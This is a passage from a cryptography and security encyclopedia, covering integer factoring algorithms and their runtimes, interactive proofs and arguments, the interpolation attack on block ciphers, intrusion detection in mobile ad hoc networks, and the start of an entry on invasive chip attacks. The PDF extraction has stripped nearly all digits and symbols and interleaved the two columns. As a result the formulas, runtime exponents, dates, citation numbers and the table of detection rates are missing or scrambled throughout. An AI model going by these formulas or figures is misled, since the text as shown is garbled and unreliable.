tial in log(n). See Elliptic Curve Method for Factoring for
Usage of Strong Primes in RSA a more complete description and more detailed expected
It is not uncommon, and even prescribed in some stan- runtimes.
dards, to use so-called strong primes as factors of RSA
moduli. These are primes for which both p and p + Fermats Method and Congruence of Squares
have a very large prime factor, rendering ineffective a p Fermats method attempts to factor n by writing it as the
or p+ attack against the modulus. This approach overlooks difference of two integer squares. Let n = p q for odd p
other t (p) attacks (which, for random moduli, have an and q with p < q, so that q p = y for an integer y. With
even smaller probability of success). More importantly it x = p + y it follows that n = (x y)(x + y) = x y .

overlooks the fact that the resulting RSA modulus is just as Thus, if one tries x = [ n] + , [ n] + , [ n] + , . . . in
likely to be vulnerable to a single elliptic curve when using succession until x n is a perfect square, one ultimately
the elliptic curve method for factoring. It follows that usage finds x n = y . This is efficient only if the resulting y,
of strong primes does in general not make RSA moduli the difference between the factors, is small; if it is large, the
more resistant against factoring attacks. See also []. method is inferior even to trial division.
Integers x and y that satisfy the similar but weaker
Cycling Attacks against RSA condition
These attacks, also called superencryption attacks work x y mod n
by repeatedly re-encrypting an RSA ciphertext, in the hope
that after k re-encryptions (for some reasonable k) the orig- may also lead to a factorization of n: from the fact that n
inal ciphertext appears. They are used as an additional rea- divides x y = (x y)(x + y) it follows that
son why strong primes should be used in RSA. However,
it is shown in [] that a generalized and more efficient ver- n = gcd(n, x y) gcd(n, x + y).
sion of cycling attacks can be regarded as a special purpose
If x and y are random solutions to x y mod n, then
factoring method that is successful only if all prime fac-
tors of p are contained in ek for one of the primes there is a probability of at least % that this yields a
nontrivial factorization of n. All general purpose factor-
p dividing n, where e is the RSA encryption exponent. The
ing methods described below work by finding random
success probability of this attack is therefore small, even
when compared to the success probability of Pollards p solutions to this equation.
method.
The MorrisonBrillhart Approach
Elliptic Curve Method for Factoring To construct solutions to x y mod n that may be
The success of Pollards p method (or its generaliza- assumed to be sufficiently random, Kratchik in the s
tions) depends on the smoothness of the order of one proposed to piece together solutions to x a mod n. In
of the groups Fp (or Fpd ) with p ranging over the prime the MorrisonBrillhart approach this is achieved using the
factors of n. Given n, the group orders are fixed, so the following two steps []:
method works efficiently for some n but for most n it would Relation collection. Fix a set P of primes (often called
require too much computing time. In the elliptic curve the factor base), and collect a set V of more than #P
method [] each fixed group Fp of fixed order (given n) integers v such that
is replaced by the group Ep of points modulo p of an ellip-
tic curve modulo n. For randomly selected elliptic curves e
v p v,p mod n, with ev,p Z.
modulo n, the order #Ep of Ep behaves as a random number pP
Integer Factoring I
These identities are often called relations modulo n. If P random number n = Ln [, ], and therefore, accord-
is the set of primes B, then vs such that v is B-smooth ing to smoothness probability, B-smooth with probabil-
lead to relations. For each v the exponents ev,p are regarded ity Ln [/, ]. Testing each candidate for B-smoothness
as a #P-dimensional vector, denoted (ev,p )pP . using trial division takes time #P = (B) = Ln [/, /]
Relation combination. Because #V > #P, the #P- (using the properties of Ln as set forth in L notation),
dimensional vectors (ev,p )pP are linearly dependent and so collecting somewhat more than #P relations can be
there exist at least #V #P linearly independent subsets S expected to take time
of V such that
number of relations to be collected trial division
#P *,, , , , , , , , , , , - , , , , , , , , , , , . *,, , , , , , , , , , , -,, , , , , , , , , , ,.
(ev,p )pP = (sp )pP , with (sp )pP Z . Ln [/, /] Ln [/, /]
vS
These subsets S with corresponding vectors (sp )pP give inverse of smoothness probability
rise to at least #V #P independent solutions to x *,, , , , , , , , , , , , , , , , , -, , , , , , , , , , , , , , , , , , .
y mod n , namely (Ln [/, ]) = Ln [/, ].
Gaussian elimination on the #V #P matrix takes time

x = ( v) mod n, y = ps p mod n,
vS pP Ln [/, /] = Ln [/, /].
and thereby at least #V #P independent chances to Because at most log (n) entries are non-zero for each vec-
factor n. tor (ev,p )pP , the total number of non-zero entries of the
All current general purpose factoring methods are matrix is #V log (n) = Ln [/, /] and the matrix step
I
based on the MorrisonBrillhart approach. They differ in can be done in
the way the relations are collected, but they are all based
Ln [/, /] = Ln [/, ]
on, more or less, the same relation combination step.
steps using Lanczos or Wiedemann algorithms. In either
Matrix Step case the runtime is dominated by relation collection and
Because S and (sp )pP , as above, can be found by look- the total expected time required for Dixons method with
ing for linear dependencies modulo among the rows of trial division is Ln [/, ]. Unlike most methods described
the (#V #P)-matrix (ev,p )vV,pP , the relation combi- below, the expected runtime of the trial division variant of
nation step is often referred to as the matrix step. With Dixons method can rigorously be proved, i.e., it does not
Gaussian elimination the matrix step can be done in (#P) depend on any heuristic arguments or conjectures.
steps (since #V #P). Faster methods, such as conju- If B-smoothness is tested using the elliptic curve
gate gradient, Lanczos, or Wiedemanns coordinate recur- method, the time to test each v mod n is reduced to
rence method, require O(w #P) steps (O notation), Ln [/, ]: the entire cost of the smoothness tests disap-
where w is the number of nonzero entries of the matrix pears in the o(). As a result the two stages can be seen
(ev,p mod )vV,pP . See [, , , , , ] for details. to require time Ln [/, /] each when Gaussian elimina-
In the various runtime analyses below, #P is measured tion is used for the matrix step. In this case, i.e., when
using the L notation and w turns out to be c #P for a c using the elliptic curve method for smoothness testing,
that disappears in the o() of the L notation, so that the the runtime can be further reduced by using Lanczos or
runtime O(w #P) simplifies to (#P) . Wiedemann methods and a different value for B. Redefine
B as Ln [/, /] so that relation collection takes time
Dixons Random Squares Method
The simplest relation collection method is to define P as the Ln [/, /] Ln [/, ] (Ln [/, /])

set of primes B for some bound B and to select different = Ln [/, ]
vs at random from Z/nZ until more than (B) ones have
been found for which v mod n is B-smooth. This method and the matrix step requires Ln [/, /] = Ln [/, ]
is called Dixons random squares method []. The choice steps. The overall runtime of Dixons method becomes
of B, and the resulting expected runtime, depends on
Ln [/, ] + Ln [/, ] = Ln [/, ];
the way the values v mod n are tested for B-smoothness.
If smoothness is tested using trial division, then B = asymptotically relation collection and combination are
Ln [/, /] (with Ln as in L notation). For each candi- equally expensive. As described here, the expected run-
date v, the number v mod n is assumed to behave as a time of this elliptic curvebased variant of Dixons method
I Integer Factoring
depends on the conjecture involved in the expected run- Strangely, at that time, no one seemed to be aware of its
time of the elliptic curve method. It is shown in [], (heuristic) subexponential expected runtime Ln [/, ].
however, that the expected runtime of a variant of the Had this been known by the time the RSA challenge [] was
elliptic curve smoothness test can
rigorously be proved. posed, Ron Rivest may have based his runtime estimates
That leads to a rigorous Ln [/, ] expected runtime for on CFRAC instead of Pollards rho (with its exponential
Dixons method. expected runtime) [], come up with more realistic esti-
mates for the difficulty of factoring a -digit modulus,
Continued Fraction Method (CFRAC) and could have decided that digits were too close for
The quadratic residues v mod n in Dixons method prov- comfort (as shown in []). As a result, -bit RSA moduli
ably behave with respect to smoothness probabilities as may have become less popular.
random non-negative integers less than n. That allows the
rigorous proof of the expected runtime of Dixons method. Linear Sieve
However, this theoretical advantage is not a practical con- It was quickly realized that the practical performance of
cern. It would be preferable to generate smaller quadratic CFRAC was marred by the trial division based smooth-
residues, thereby improving the smoothness chances and ness test. In the late s Richard Schroeppel therefore
thus speeding up relation collection, even though it may developed a new way to generate relatively small residues
no longer be possible to rigorously prove the expected modulo n that can be tested for smoothness very quickly:
runtime of the resulting method. The earliest relation col- look for small integers i, j such that
lection method where quadratic residues were generated
f (i, j) = (i + [ n])(j + [ n]) n (i + j) n
that are substantially smaller than n was due to Morrison
is smooth. Compared to CFRAC the residues are some-
and Brillhart [] and is based on the use of continued frac-
tions; actually, this method (dubbed CFRAC) predates what bigger, namely (i + j) n as opposed to n. But
Dixons method. the advantage is that smoothness can be tested for many i, j
simultaneously using a sieve (sieving): if p divides f (i, j)
If ai /bi is the ith continued fraction convergent to n,
then p divides f (i + kp, j + p) for any k, Z. This means
then ai nbi < n. Thus, if v is chosen as ai for
i = , , . . . in succession, then v mod n = ai nbi is a that if f (i, j) is tested for B-smoothness for i < I
and j < J, the smoothness tests no longer take time
quadratic residue modulo n that is < n and thus much
smaller than n. In practice this leads to a substantially I J (B) I J B/ log B, but
larger smoothness probability than in Dixons method,
= O(I J log log(B)).
despite the fact that if prime p divides v mod n, then pB i<I j<J p
(ai /bi ) n mod p so that n is a quadratic residue mod-
ulo p. With B = Ln [/, /], P the set of primes p B with This leads to a heuristic expected runtime Ln [/, ].

( np ) = , and elliptic curve smoothness testing, the heuris- Inconveniently, (i + [ n])(j + [ n]) is not automatically

a square, which means that for all values i + [ n] and
tic expected runtime becomes Ln [/, ]. The heuristic
j + [ n] that occur in smooth f (i, j)s columns have to be
is based on the assumption that the residues v mod n
included in the matrix. The effect this has on the expected
behave, with respect to smoothness properties, as ordinary
runtime disappears in the o() in Ln .
random integers n and that the set of primes p B
This method, dubbed linear sieve, was the first factor-
for which ( np ) does not behave unexpectedly. In that ing method that was heuristically shown (by Schroeppel)
case, when the L notation is used to express smoothness to have subexponential expected runtime. (That the ear-
probabilities, the difference with truly random integers lier CFRAC also had subexponential expected runtime was
disappears in the o(). realized only later; see also [].) Its main historical signif-
In [] it is shown how this same expected runtime can icance is, however, that it led to the Quadratic Sieve, for
be achieved rigorously (by a method that is based on the many years the worlds most practical factoring method.
use of class groups). If elliptic curve smoothness
testing is
replaced by trial division, B = Ln [/, /] is optimal
and Quadratic Sieve
the heuristic expected runtime becomes Ln [/, ]. The first crude version of the quadratic sieve was due to
Carl Pomerance who realized that it may be profitable to
Note on the Size of RSA Moduli take i = j in Schroeppels linear sieve. Although smooth-
In the mid s, CFRAC (with trial division based ness could still be tested quickly using a sieve and the
smoothness testing) was the factoring method of choice. heuristic expected runtime (with sieving) turned out to
Integer Factoring I
be a low Ln [/, ], in practice the method suffered from The number field sieve breaks through the nO() barrier
deteriorating smoothness probabilities (due to the lin- and depends on smoothness of numbers of order no() .
ear growth of the quadratic residue f (i, j)). This problem
was, however, quickly overcome by Jim Davis and Diane Recommended Reading
Holdridge which led to the first factorization of a number . Alford WR, Granville A, Pomerance C () There are
of more than decimal digits []. Since then the method infinitely many Carmichael numbers. Ann Math ():
has been embellished in various ways (most importantly
. Atkins D, Graff M, Lenstra AK, Leyland PC () The magic
by Peter Montgomerys multiple polynomial version, as
words are squeamish ossifrage. In: Pieprzyk J, Safavi-Naini R
described in []) to make it even more practical. See (eds) In: Advances in cryptology: ASIACRYPT, proceedings
Quadratic Sieve for details. At this point the largest fac- of the th international conference on the theory and appli-
torization obtained using quadratic sieve is the -digit cations of cryptology, Wollongong, Australia, November
factorization reported in []. December, . Lecture notes in computer science, vol .
Springer, Berlin, , pp
. Bach E, Shallit J () Factoring with cyclotomic polynomials.
Number Field Sieve Math Comput :
Until the late s the best factoring methods, includ- . Cavallar S, Dodson B, Lenstra AK, Lioen WM, Montgomery PL,
Murphy B, te Riele HJJ, Aardal K, Gilchrist J, Guillerm G, Ley-
ing the most practical one (quadratic sieve), shared the land PC, Marchand J, Morain F, Muffett A, Putnam C, Putnam C,
same expected runtime Ln [/, ] despite the fact that the Zimmermann P () Factorization of a -bit RSA modulus.
underlying mathematics varied considerably: heuristically In: Preneel B (ed) Advances in cryptology: EUROCRYPT ,
for quadratic and linear sieve, CFRAC, and the worst case proceedings of the international conference on the theory and I
of the elliptic curve method, and rigorously for the class application of cryptographic techniques, Bruges, Belgium,
May . Lecture notes in computer science vol . Springer,
group method from []. This remarkable coincidence fos- Berlin, , pp
tered the hope among users of the RSA cryptosystem that . Coppersmith D () Solving homogeneous linear equations
Ln [/, ], halfway between linear time log n and expo- over GF() via block Wiedemann algorithm. Math Comput
nential time n (L notation), is the true complexity of :
factoring. . Crandall RE, Pomerance C () Prime numbers: a computa-
tional perspective. Springer, Berlin
The situation changed, slowly, when in late John . Davis JA, Holdridge DB () Factorization using the quadratic
Pollard distributed a letter to a handful of colleagues. In it sieve algorithm. In: Chaum D (ed) Advances in cryptology:
he described a novel method, still based on the Morrison Crypto . Plenum, New York, pp
Brillhart approach, to factor integers close to a cube and . Dixon JD () Asymptotically fast factorization of integers.
expressed his hope that, one day, the method may be used Math Comput :
. Gardner M () A new kind of cipher that would take millions
to factor the ninth Fermat number F = + , back then of years to break. Sci Am :
the worlds most wanted composite. It was quickly estab- . Lenstra HW Jr () Factoring integers with elliptic curves.
lished that for certain nice n Pollards new method should Ann Math :. URL: http://links.jstor.org/sci?
/
work in heuristic expected runtime Ln [/, (
) ] sici=-X()::< :FIWC> ..CO;-V
. Lenstra HW Jr, Pomerance C () A rigorous time bound for fac-
Ln [/, .]. This was the first indication that, conceiv- toring integers. J Am Math Soc : . URL: http://links.jstor.
ably, the complexity of factoring would not be stuck at org/sci?sici=- ():< :ARTBFF> ..CO;-S
Ln [/, . . . ]. The initial work was soon followed by the fac- . Knuth DE () The art of computer programming: seminu-
torization of several large nice integers, culminating in merical algorithms, vol , rd edn. Addison-Wesley, Reading
. LaMacchia BA, Odlyzko AM () Solving large spare lin-
in the factorization of F []. Further theoretical work
ear systems over finite fields. In: Menezes AJ, Vanstone SA
removed the niceness restriction and led to the method (eds) Advances in cryptology: CRYPTO. Lecture notes in
that is now referred to as the number field sieve: a general computer science, vol . Springer, Berlin, , pp
purpose factoring method with heuristic expected runtime . Lenstra AK, Lensta HW Jr, Manasse MS, Pollard JM () The
/ factorization of the ninth Fermat number. Math Comput :
Ln [/, (
) ] Ln [/, .]. The method as it applies

to nice numbers is now called the special number field . Leyland PC, Lenstra AK, Dodson B, Muffett A, Wagstaff SS Jr
sieve. See Number Field Sieve For Factoring for details. () MPQS with three large primes. In: Fieker C, Kohel DR
The first time a -bit RSA modulus was factored, using (eds) Algorithmic number theory. In: Proceedings of the th
international symposium, ANTS-V, Sydney, Australia, July
the number field sieve, was in [].
With hindsight, the property that all Ln [/, ] factor- Berlin, , pp
ing methods have in common is their dependence, in one . Montgomery PL () Speeding the Pollard and elliptic curve
way or another, on smoothness of numbers of order nO() . methods of factorization. Math Comput :. URL:
I Integrated Circuit
http://links.jstor.org/sici?sici=-():< :
STPAEC>..CO; Integrity Model
. Montgomery PL () A block Lanczos algorithm for finding
dependencies over GF(). In; Guillou LC, Quisquater J-J (eds)
Biba Model
Advances in cryptology: EUROCRYPT, Saint-Malo, .
, pp
. Morrison MA, Brillhart J () A method of factoring and the
factorization of F . Math Comput : Intellectual Property
. Nechaev VI () Complexity of a determinate algorithm for
the discrete logarithm. Math Notes ():. Translated
Levels of Trust
from Matematicheskie Zametki (): , (). This result
dates from
. Pollard JM () Theorems on factorization and primality
testing. Proc Camb Phil Soc :
. Pollard JM () A Monte Carlo method for factorization. BIT Interactive Argument
:
. Pomerance C () Fast, rigorous factorization and discrete Berry Schoenmakers
logarithm algorithms. In: Johnson DS, Nishizeki T, Nozaki A,
Wilf HS (eds) Discrete algorithms and complexity. Academic
Department of Mathematics and Computer Science,
Press, Boston, pp Technische Universiteit Eindhoven, Eindhoven,
. Pomerance C, Smith JW () Reduction of huge, sparse matri- The Netherlands
ces over finite fields via created catastrophes. Exp Math :
. Rabin MO () Probabilistic algorithm for testing primality. J
Number Theory (): Synonyms
. Rivest R, Silverman R () Are strong primes needed for RSA. Computationally sound proof system
Cryptology ePrint Archive, Report /. http://eprint.iacr.
org/
. Rivest RL () Letter to M. Gardner containing an estimate
Related Concepts
of the difficulty of factoring a -digit modulus using Pollards Interactive Proof
rho method
. Shoup V () Lower bounds for discrete logarithms and An interactive argument (or computationally sound proof
related problems. In: Proceedings of EUROCRYPT . Lecture
system) is a relaxation of an interactive proof, introduced
notes in computer science, vol , pp
. Silverman RD () The multiple polynomial quadratic sieve.
in []. The difference is that the prover is restricted to
Math Comput : be a polynomial-time algorithm for an interactive argu-
. Villard G () Further analysis of Coppersmiths block Wiede- ment, whereas no such restrictions on the prover apply for
mann algorithm for the solution of sparse linear systems an interactive proof. The provers advantage over the ver-
(extended abstract). In: Proceedings of the international
ifier is that the prover gets a private input, which allows
symposium on symbolic and algebraic computation, ISSAC,
ACM, New York, pp
the prover to perform his or her task in polynomial time
. Wiedemann DH () Solving sparse linear equations over (completeness).
finite fields. IEEE Trans Inf Theory : The soundness condition for an interactive argument,
. Williams HC (). A p + method of factoring. Math Comput referred to as computational soundness, states as before that
:
executions of the protocol between the prover and the ver-
ifier should result in the verifier rejecting the proof, if x / L
holds; here, the prover is not required to follow the pro-
tocol, that is, the prover may behave arbitrarily, but the
Integrated Circuit prover is limited to be a (probabilistic) polynomial-time
algorithm.
Levels of Trust Hence, cheating by the prover is not required to be
impossible; rather, cheating is required to be infeasible.
Therefore, interactive arguments are easier to achieve
than interactive proofs; in particular, while perfect zero-
Integrated Circuit Card knowledge arguments are known to exist for every
language in NP, it is considered unlikely that perfect zero-
Smart Card knowledge proofs exist for every language in NP.
Interception I
Recommended Reading A simple example of an interactive proof runs as

. Brassard G, Chaum D, Crpeau C () Minimum disclosure follows. Consider the language LH consisting of graphs
proofs of knowledge. J Comput Syst Sci (): containing a Hamiltonian cycle. It is well known that
. Goldreich O () Foundations of cryptography basic tools.
the problem of determining membership for LH is NP-
Cambridge University Press, Cambridge
. Naor M, Ostrovsky R, Venkatesan R, Yung M () Zero-
complete. Hence, it is supposedly hard to determine
knowledge arguments for NP can be based on general assump- whether a given graph contains a Hamiltonian cycle. How-
tions. J Cryptol (): ever, given a purported Hamiltonian cycle for a graph, it
is easy to check whether this is indeed the case. An inter-
active proof for LH is obtained if the prover simply sends
a Hamiltonian cycle for the graph under consideration to
Interactive Proof the verifier. The conditions of completeness and soundness
are clearly satisfied.
Berry Schoenmakers In the context of cryptography, interactive proofs are
Department of Mathematics and Computer Science, usually required to satisfy some additional conditions.
Technische Universiteit Eindhoven, Eindhoven, Many interactive proofs are in fact proofs of knowl-
The Netherlands edge. Also, zero-knowledge proofs are a main exam-
ple of interactive proofs used for cryptographic purposes,
noting that zero-knowledge interactive arguments and
Synonyms witness hiding protocols are possible alternatives. The
above interactive proof for LH is neither zero-knowledge
I
Interactive proof systems
nor witness hiding, as the prover simply gives away a
Hamiltonian cycle.
Related Concepts
Interactive Argument
Recommended Reading
. Goldwasser S, Micali S, Rackoff C () The knowledge com-
Denition plexity of interactive proof systems. SIAM J Comput :.
The notion of an interactive proof plays an important role Preliminary version in th ACM symposium on the theory of
in complexity theory. An interactive proof is a protocol computing,
between two parties, called the prover and the verifier. The . Goldreich O () Foundations of cryptography basic tools.
Cambridge University Press, Cambridge.
crucial point is that the verifier is restricted to be a (prob-
. Shamir A () IP = SPACE. J ACM ():
abilistic) polynomial-time algorithm, whereas no such
restriction applies to the prover. By means of an interac-
tive proof the prover convinces the verifier of the validity
of a given statement. A statement is of the form x L,
where x is a word and L is a formal language. The inter- Interactive Proof Systems
esting languages are those for which no polynomial-time
membership tests (are known to) exist. It follows that the Interactive Proof
verifier cannot determine on its own whether x L holds.
Theory Interactive Theorem Proving and

An interactive proof is required to satisfy two conditions. Security
The first condition is completeness, which means that exe-
cutions of the protocol between the prover and the verifier Theorem Proving and Security
should result in the verifier accepting the proof, if x L
holds. The second condition is soundness, which means
that executions of the protocol between the prover and the
verifier should result in the verifier rejecting the proof, if Interception
x L holds; here, the prover is not required to follow the
protocol, that is, the prover may behave arbitrarily. Eavesdropping
I Interpolation Attack
The method is based on Sudans algorithm, designed to

Interpolation Attack decode ReedSolomon codes (Cyclic Codes). Finally,
note that all attacks described above can easily be turned
Christophe De Cannire into key-recovery attacks by guessing the last round key
Department of Electrical Engineering, Katholieke of the cipher and checking the correctness of the guess by
Universiteit Leuven, Leuven-Heverlee, Belgium applying the interpolation attack on the remaining rounds.
Related Concepts Recommended Reading

Block Ciphers . Jakobsen T () Cryptanalysis of block ciphers with proba-
bilistic non-linear relations of low degree. In: Krawczyk H (ed)
Advances in cryptology CRYPTO?. Lecture notes in com-
The interpolation attack is a technique for attacking block
puter science, vol . Springer, Berlin, pp
ciphers built from simple algebraic functions. It was intro- . Jakobsen T, Knudsen LR () The interpolation attack on
duced by Jakobsen and Knudsen [, ] in and applied block ciphers. In: Biham E (ed) Proceedings of fast Software
to variants of SHARK, a predecessor of Rijndael/AES. encryption FSE?. Lecture notes in computer science, vol .
The attack is based on a well-known principle: given Springer, Berlin, pp
. Jakobsen T, Knudsen LR () Attacks on block ciphers of low
an unknown polynomial y = f (x), if the degree of f (x)
algebraic degree. J Cryptol :
does not exceed n , then its coefficients can efficiently
be recovered by taking n distinct samples (xi , yi ) with yi =
f (xi ). The Lagrange interpolation formula provides a gen-
eral expression for the polynomial reconstructed this way: Intrusion Detection in Ad Hoc
x xj Networks
f (x) = yi .
i ji xi xj Qijun Gu
This mathematical property has interesting implications Department of Computer Science, Texas State
when considering a block cipher with a fixed but unknown University-San Marcos, San Marcos, Texas, USA
secret key. If the ciphertext is written as a polynomial (with
unknown coefficients) of the plaintext, and if the degree of Related Concepts
this polynomial is sufficiently low, then a limited number of Ad Hoc Network
plaintextciphertext pairs suffice to completely determine
the encryption function. This allows the attacker to encrypt Denition
and decrypt data blocks for the unknown key without Intrusion detection in ad hoc networks is a type of defense
doing any key-recovery. mechanism that monitors, collects, and analyzes activity
An interesting property of the basic interpolation information of mobile ad hoc nodes in order to detect
attack is that it is not affected by the internal structure of intrusive actions.
the cipher, apart from the degree of the polynomial repre-
senting the encryption function. In fact, a low degree is not Background
strictly necessary for an efficient attack; it suffices that the Intrusion detection is one of the mechanisms to pro-
number of unknown coefficients is sufficiently small, and tect a system. It captures the current user activities in a
this happens to be the case for a number of ciphers which system and compares them with past user behavior pro-
were optimized against linear and differential attacks (for files, known attack patterns, or predefined system spec-
example, the KN cipher by Knudsen and Nyberg). ifications. An intrusion is detected in the presence of a
The attack outlined above can be extended and gen- deviation of normal user activities, a match of known
eralized in many ways. It can, for example, also be attack patterns, or an operation not following system speci-
applied by only expressing a part of the ciphertext as a fications. Upon detecting an intrusion, intrusion detection
function of the plaintext or by constructing an implicit systems (IDSs) may further alert and trigger the response
polynomial expression involving parts of the plaintext mechanisms of the system to counteract the intrusion and
and the ciphertext. The latter could be derived from a minimize the damage.
rational expression or obtained by applying a meet-in- Many IDSs deployed in wired networks are built-in
the-middle attack. Furthermore, in a subsequent paper [], devices that are trustable and can capture and inspect traf-
Jakobsen demonstrated that the interpolation ideas can fic directly. However, ad hoc networks do not support the
still be applied when the polynomials are probabilistic. deployment of such devices as they are infrastructure-less
Intrusion Detection in Ad Hoc Networks I
and distributed. IDSs have to be implemented in mobile ad be constructed in various ways, the six components in the
hoc nodes, even though some of them may be malicious. structure capture the core functions of an agent. The left
No nodes can inspect all the packets as their communica- side are three components for local intrusion detection
tion range is limited and they cannot use all the resources and the right side are three components for cooperative
for intrusion detection solely. The mobility of ad hoc net- intrusion detection.
works further increases the difficulty of intrusion detec- The local data collection module collects communi-
tion. As nodes are moving, it is harder to distinguish cation activities of this node and its neighboring nodes.
malicious and benign behaviors as mobility may result in The data includes packets of cross multiple network lay-
abnormal activities due to lost or out-of-date information. ers. Then, the local detection engine analyzes the collected
Hence, intrusion detection in ad hoc networks is different traces. If an intrusion is detected with strong evidence,
from wired network in many aspects. the local detection engine can request the local response
module independently to initiate a response. Otherwise,
Theory i.e., if an intrusion is detected with weak or inconclu-
As mobile ad hoc networks (MANETs) are distributed and sive evidence, the local detection engine can request
mobile in nature, intrusion detection requires cooperation the cooperative detection engine to start global detec-
among nodes. All the nodes need to participate in moni- tion. The cooperative detection engine enables exchanging
toring activities of other nodes and exchanging collected local detection information with neighboring nodes via
information to make joint decisions. Figure shows a dis- the secure communication module and also coordinates
tributed and cooperative intrusion detection architecture their detection actions. With more evidences, neighbor-
[] that adapts the characteristics of ad hoc networks. ing nodes can make a joint decision and elect a remedy
I
In the network of Fig. a, every node has a running action. Thus, the global response module can carry the
IDS agent. Each agent independently monitors local activ- decision and the action. The response could be identify-
ities, collects traffic traces, detects possible intrusions, and ing and excluding compromised nodes, or rekeying and
initiates responses. When anomaly is detected but evi- re-authenticating good nodes.
dence is inconclusive, IDS agents participate in global Because the all nodes have the same IDS agent, the
intrusion detection cooperatively to broaden evidence col- distributed and cooperative IDS architecture is well suited
lection and make joint decisions. The structure of an IDS to the flat network topology, where all nodes are peers.
agent is depicted in Fig. b. Although IDS agents could However, an ad hoc network may have the hierarchical
IDS
IDS agent
Local response Global response

IDS
IDS
Local Cooperative
detection engine detection engine
IDS
IDS
Int ons
res
rus e a
Local Secure
p
ion ctio
data collection communication

sta n
te
IDS System call activities Neighboring

communicaiton activities IDS agents
other traces, ...
a IDS architecture b IDS agent model
Intrusion Detection in Ad Hoc Networks. Fig. Distributed and cooperative IDS in ad hoc networks, proposed in []
I Intrusion Detection in Ad Hoc Networks
Intrusion Detection in Ad Hoc Networks. Table IDS quality, reported in []

Detection performance on DSR
Trace RIPPER SVM
TPR FPR TPR FPR
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
Detection performance on DSDV
Trace RIPPER SVM
TPR FPR TPR FPR
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
Detection performance on AODV
Trace RIPPER SVM
TPR FPR TPR FPR
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
k-rt . .% . .% . .% . .%
k-tf . .% . .% . .% . .%
topology, where nodes are organized in clusters with one network as designed. Second, the majority of the collected
cluster header for each cluster. Hence, the IDS architecture network traces should not be poisoned by attackers and
is extended to having hierarchy to match the roles of nodes they should be shared among nodes. Third, the major-
in the hierarchical network topology. As the cluster head- ity nodes should behave normally even though benign
ers usually have more computational capability than other nodes may present abnormal behavior sometimes. Using
members in the clusters, they are responsible for forward- the behavior profile of each node can help make decisions
ing packets among clusters. Their IDS agents include an and avoid malicious nodes. Watchdog and pathrater were
enhanced data collection module that collects and inspects used in such an IDS [] to monitor the behaviors of neigh-
the packets within their clusters as the routers in wired net- boring nodes and give ratings to the nodes accordingly.
works. Their IDS agents also have a controlling module for By keeping the rating of every node in the network that it
coordinating nodes in their clusters, making decisions, and knows, the pathrater can compute the path metric by com-
initiating global responses. On the contrary, regular nodes bining the node ratings together with the link quality to
in a cluster can have IDS agents with simplified compo- choose the path with the highest metric. As a result, paths
nents for cooperative intrusion detection, since they act containing misbehaving nodes will be avoided.
under the control of their cluster headers. Such an IDS []
was proposed, in which a network is partitioned into zones Applications
(equivalent to clusters). The header of each zone is also the Intrusion detection in ad hoc network has been applied in
gateway of the zone. A zone header aggregates and corre- mobile ad hoc networks, sensor networks, vehicular ad hoc
lates reports from nodes in the zone and collaborates with networks, and so on. It is deployed to detect compromised,
other zone headers to perform intrusion detection. misbehaving, or selfish nodes. It protects these networks
Anomaly-based intrusion detection is the major from various attacks including dropping, misrouting, forg-
approach to detect misbehavior nodes in ad hoc networks, ing, and injecting packets in networks.
as the malicious nodes may seemingly follow specifica-
tions or not use known attack approaches. The success Experimental Results
of intrusion detection is indicated by a high true posi- Whether or not an IDS can protect a system effectively
tive rate (TPR) and a low false positive rate (FPR). The against attacks is the main quality of the IDS. It is usu-
success depends on a few assumptions. First, the majority ally measured as the TPR and the FPR. The TPR measures
of nodes should be good and they should monitor the the percentage of detected malicious events in all intrusive
Invasive Attacks I
events. The FPR measures the possibility of misclassifying Recommended Reading

a good event as malicious. . Zhang Y, Lee W, Huang YA () Intrusion detection techniques
To measure the quality, the IDS proposed in [] was for mobile wireless networks. Wireless Networks ():
. Sun B, Wu K, Pooch UW () Alert aggregation in mobile ad
studied with three ad hoc routing protocols: dynamic
hoc networks. Proceedings of ACM Wise, Samrego, pp
source routing (DSR) protocol, ad hoc on-demand dis- . Marti S, Giuli TJ, Lai K, Baker M () Mitigating routing
tance vector (AODV) routing protocol, and destination- misbehavior in mobile ad hoc networks. Proceedings of ACM
sequenced distance-vector (DSDV) routing protocol. The MobiCom, Boston, pp
study built two anomaly detection models using the
repeated incremental pruning to produce error reduc-
tion (RIPPER) algorithm and the support vector machine
(SVM) algorithm. The two models were tested on four dif- Invasive Attacks
ferent traces with embedded intrusion sessions. k-rt
and k-rt are traces with intrusions on routing logic and Assia Tria , Hamid Choukri
with running time as , and , seconds, and
CEA-LETI, France
k-tf and k-tf are traces with distortion on traffic pat-
Gemalto Compagny
terns.
The quality of the IDS is illustrated in Table . The result
showed that the quality of an IDS is highly determined
Denition
Invasive attacks refer to attacks of physical systems
by the classification algorithms. In the experiments, SVM
showed a better performance than RIPPER in both TPR
where the physical properties of the chip are irreversibly I
modified. Different kinds of attacks are possible using
and FPR. As SVM can better catch the dynamic charac-
standard reverse engineering techniques with optical
teristics of ad hoc nodes and traffic patterns, it can detect
or scanning electron microscopes (SEM). The aim is to
more malicious activities and misclassify fewer good ones.
capture information stored in memory areas, or data flow-
The result also showed that the quality of an IDS is related
ing through the data bus, registers, etc. Such techniques are
to the subjects of protection as well. The IDS worked
also used to disconnect circuits, to override sensors, or to
better for DSR and AODV than DSDV. The further analy-
defeat blown fuse links (using probe stations or Focused
sis showed that the redundancy in routing information in
Ion Beam [FIB]). These attacks are not specific to smart
DSR and AODV helped the IDS to distinguish attacking
cards. At first, tools used for invasive attacks were dedi-
traffic from normal traffic.
cated to failure analysis and debugging by semiconductor
manufacturers.
Open Problems
Security threats present in all layers of ad hoc networks. Background
Current intrusion detection systems in ad hoc networks A smart card contains an embedded microchip with metal-
mainly focus on routing attacks and link layer attacks. lic contacts on the front. The smart card does not usu-
Attacks in other layers, such as physical layer and transport ally have its own power supply, yet it operates as a very
layer, need the same attention. New threat models and fea- small computer. The embedded operating system (OS)
tures across multiple layers also need to be studied so that controls application execution, access condition, crypto-
new intrusion detection mechanisms can be developed to graphic routines, and communication protocols with the
better aggregate cross-layer threat information to detect outside world (usually a terminal). Some smart cards have
attacks. several applications embedded at a time; these are called
Another challenge in current intrusion detection multi-application smart cards.
mechanisms is that many IDSs in ad hoc networks can The largest application is the GSM. The subscriber
only achieve a TPR less than % and a FPR greater than identity module (SIM) is found in all handsets that use
